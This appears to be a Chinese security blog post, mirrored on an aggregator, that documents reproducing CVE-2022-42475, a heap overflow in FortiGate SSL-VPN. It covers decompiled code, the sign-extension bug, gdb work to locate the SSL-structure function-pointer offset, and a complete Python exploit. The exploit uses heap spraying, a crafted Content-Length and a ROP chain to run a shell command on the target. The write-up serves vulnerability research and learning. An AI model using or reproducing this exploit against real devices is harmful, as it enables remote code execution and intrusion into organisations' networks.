3

CVE-2022-42475-FortiGate-SSLVPN HeapOverflow 学习记录 - 狒猩橙

 1 year ago
source link: https://www.cnblogs.com/pwnfeifei/p/17641251.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

之前就想复现这个洞,不过因为环境的问题迟迟没有开工。巧在前一阵子有个师傅来找我讨论劫持 ssl结构体中函数指针时如何确定堆溢出的偏移,同时还他把搭建好了的环境发给了我,因此才有了此文。

如何劫持SSL结构体指针实现控制程序流

就我个人理解而言,我觉得劫持的这个函数指针类似于我们常见的 __malloc_hook,__free_hook。它本身的值为空,当他不为空时,便会调用这个函数指针。如果我们把这个函数指针劫持为合适的 gadget便可以控制程序的执行流。相关代码如下:

__int64 __fastcall debug_2nd_control(__int64 a1, char a2)
{
  ...
      if ( v9 )
      {
        result = v8 + 96;
        if ( v9 != v8 + 96 )
        {
          v10 = *(__int64 (__fastcall **)(__int64))(v9 + 192);
          if ( v10 )
            return v10(a1);
          ...
}

.text:000000000180C180 48 8B 82 C0 00 00 00                    mov     rax, [rdx+0C0h]
.text:000000000180C187 4C 89 EF                                mov     rdi, r13
.text:000000000180C18A 48 85 C0                                test    rax, rax
.text:000000000180C18D 0F 84 85 00 00 00                       jz      loc_180C218
.text:000000000180C193 5B                                      pop     rbx
.text:000000000180C194 41 5C                                   pop     r12
.text:000000000180C196 41 5D                                   pop     r13
.text:000000000180C198 41 5E                                   pop     r14
.text:000000000180C19A 5D                                      pop     rbp
.text:000000000180C19B FF E0                                   jmp     rax

从下面的汇编中可知,这里分配的大小是由 movsxd rsi, esi,直接从4字节扩展为了8字节,如果我们把大小控制为0x1b00000000,这样就会导致分配并初始化的大小为 1,从而产生堆溢出。利用手法是,在堆上大量喷射 SSL结构体,从而劫持其中对应的函数指针。

0000000001811174 8B 40 18        mov     eax, [rax+18h]  ; Keypatch modified this from:
0000000001811174                 ;   nop word ptr [rax+rax+00000000h]
0000000001811174                 ; Keypatch padded NOP to next boundary: 8 bytes
0000000001811177 49 8B 3C 24     mov     rdi, [r12]      ; Keypatch modified this from:
000000000181117B E9 86 02 00 00  jmp     loc_1811406

0000000001811406 8D 70 01        lea     esi, [rax+1]    ; Keypatch modified this from:
0000000001811409 E9 96 01 00 00  jmp     loc_18115A4

00000000018115A4 48 63 F6        movsxd  rsi, esi        ; Keypatch modified this from:
00000000018115A7 E9 88 FB FF FF  jmp     loc_1811134

0000000001811134 E8 27 0A EC FF  call    alloc__

如何确定填充数量

网上已经有文章(https://forum.butian.net/index.php/share/2166)给出了一个可劫持到函数指针的poc。我们这里就直接用了他这种布局,重点记录一下如何找到这个填充的数量。对于这个固件而言,ssl结构体初始化时,我们可以看到如下的代码。很明显可以看到,他会把字符串 read_post_data拷贝到距离结构体偏移为 200的地方。而根据上面的代码可知,我们要劫持的函数指针在结构体偏移为 192的地方。故我们只需定位到 read_post_data,即可确定偏移。

sub_181BC20(a2, "read_post_data", 0, 1, (__int64)sslvpnd_read_post_data);

char *__fastcall sub_181BC20(__int64 *a1, const char *str, int a3, int a4, __int64 a5)
{
  ...
  strLen = strlen(str);
  v8 = alloc__(*a1, strLen + 201);
  v9 = (__int64)v8;
  if ( v8 )
  {
    *(_QWORD *)v8 = v8;
    *((_QWORD *)v8 + 1) = v8;
    v10 = &v8[32 * a3];
    *((_DWORD *)v10 + 6) = a4;
    *((_DWORD *)v10 + 7) = a4;
    if ( (a4 & 1) != 0 )
    {
      *(_QWORD *)(32LL * a3 + v9 + 32) = a5;
    }
    else if ( (a4 & 4) != 0 )
    {
      *(_QWORD *)(32LL * a3 + v9 + 40) = a5;
    }
    strcpy((char *)(v9 + 200), str);
    ...
}

调试时内存分布如下,有 0x2638-0x1818 = 0xE20 = 3616

(gdb) i r $rdi
rdi            0x7f6edef01818   140114163406872
(gdb) x/10gx 0x7f6edef01818
0x7f6edef01818: 0x0000000000000000      0x0000000000000000
0x7f6edef01828: 0x0000000000000000      0x0000000000000000
0x7f6edef01838: 0x0000000000000000      0x0000000000000000
0x7f6edef01848: 0x0000000000000000      0x0000000000000000
0x7f6edef01858: 0x0000000000000000      0x0000000000000000
(gdb) x/10gx 0x7f6edef02638
0x7f6edef02638: 0x0000000000000000      0x736f705f64616572
0x7f6edef02648: 0x0000617461645f74      0x0000000000000000
0x7f6edef02658: 0x0000000000000000      0x0000000000000000
0x7f6edef02668: 0x0000000000000000      0x0000000000000000
0x7f6edef02678: 0x0000000000000000      0x0000000000000000
(gdb) x/s 0x7f6edef02640
0x7f6edef02640: "read_post_data"
import struct
import socket
import ssl

p64 = lambda x: struct.pack("<Q", x)

path = "/remote/login".encode()

ip = "192.168.229.162"
port = 4443

def create_ssl_ctx():
    _socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    _socket.connect((ip, port))
    _default_context = ssl._create_unverified_context()
    _socket = _default_context.wrap_socket(_socket)
    return _socket

socks = []

for i in range(60):
    sk = create_ssl_ctx()
    data = b"POST " + path + b" HTTP/1.1\r\nHost: 192.168.229.146\r\nContent-Length: 100\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: text/plain;charset=UTF-8\r\nAccept: */*\r\n\r\na=1"
    sk.sendall(data)
    socks.append(sk)

for i in range(20, 40, 2):
    sk = socks[i]
    sk.close()
    socks[i] = None

CL = "115964116992"
data = b"POST " + path + b" HTTP/1.1\r\nHost: 192.168.229.146\r\nContent-Length: " + CL.encode() + b"\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: text/plain;charset=UTF-8\r\nAccept: */*\r\n\r\nf=1"

exp_sk = create_ssl_ctx()

for i in range(20):
    sk = create_ssl_ctx()
    socks.append(sk)

exp_sk.sendall(data)

payload = b"b" * (3613-0xc0)
payload+= p64(0)
payload+= p64(0x19de70a)
# 0x00000000019de70a : pop r12 ; pop r13 ; pop rbp ; ret
payload+= p64(0x100)*3
payload+= p64(0x1855c29)
# 0x0000000001855c29 : add rdx, r8 ; mov byte ptr [rdx], 0 ; ret
payload+= p64(0x1fe54ad)
# 0x0000000001fe54ad : pop rbp ; mov rax, rdx ; ret
payload+= p64(0x30)
payload+= p64(0x18cfb70)
# 0x00000000018cfb70 : lea rdi, [rax - 0x28] ; call qword ptr [rax + 0x30]
payload+= p64(0x40)*(24-9)

payload+= p64(0x1d3379c) # rip
# push rdx ; adc byte ptr [rbx + 0x41], bl ; pop rsp ; pop rbp ; ret
payload+= p64(0x736f705f64616572)
payload+= p64(0x0000617461645f74)
cmd = b"busybox ls > /tmp/hack"
cmd = cmd.ljust(11*0x8, b'\x00')
payload+= cmd
payload+= p64(0x43FDF0)

exp_sk.sendall(payload)

for sk in socks:
    if sk:
        data = b"b" * 40
        sk.sendall(data)

print("done")

https://forum.butian.net/index.php/share/2166

https://bestwing.me/CVE-2022-42475-FortiGate-SSLVPN-HeapOverflow.html

https://wzt.ac.cn/2022/12/15/CVE-2022-42475/

https://devco.re/blog/2019/08/09/attacking-ssl-vpn-part-2-breaking-the-Fortigate-ssl-vpn/

__EOF__


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK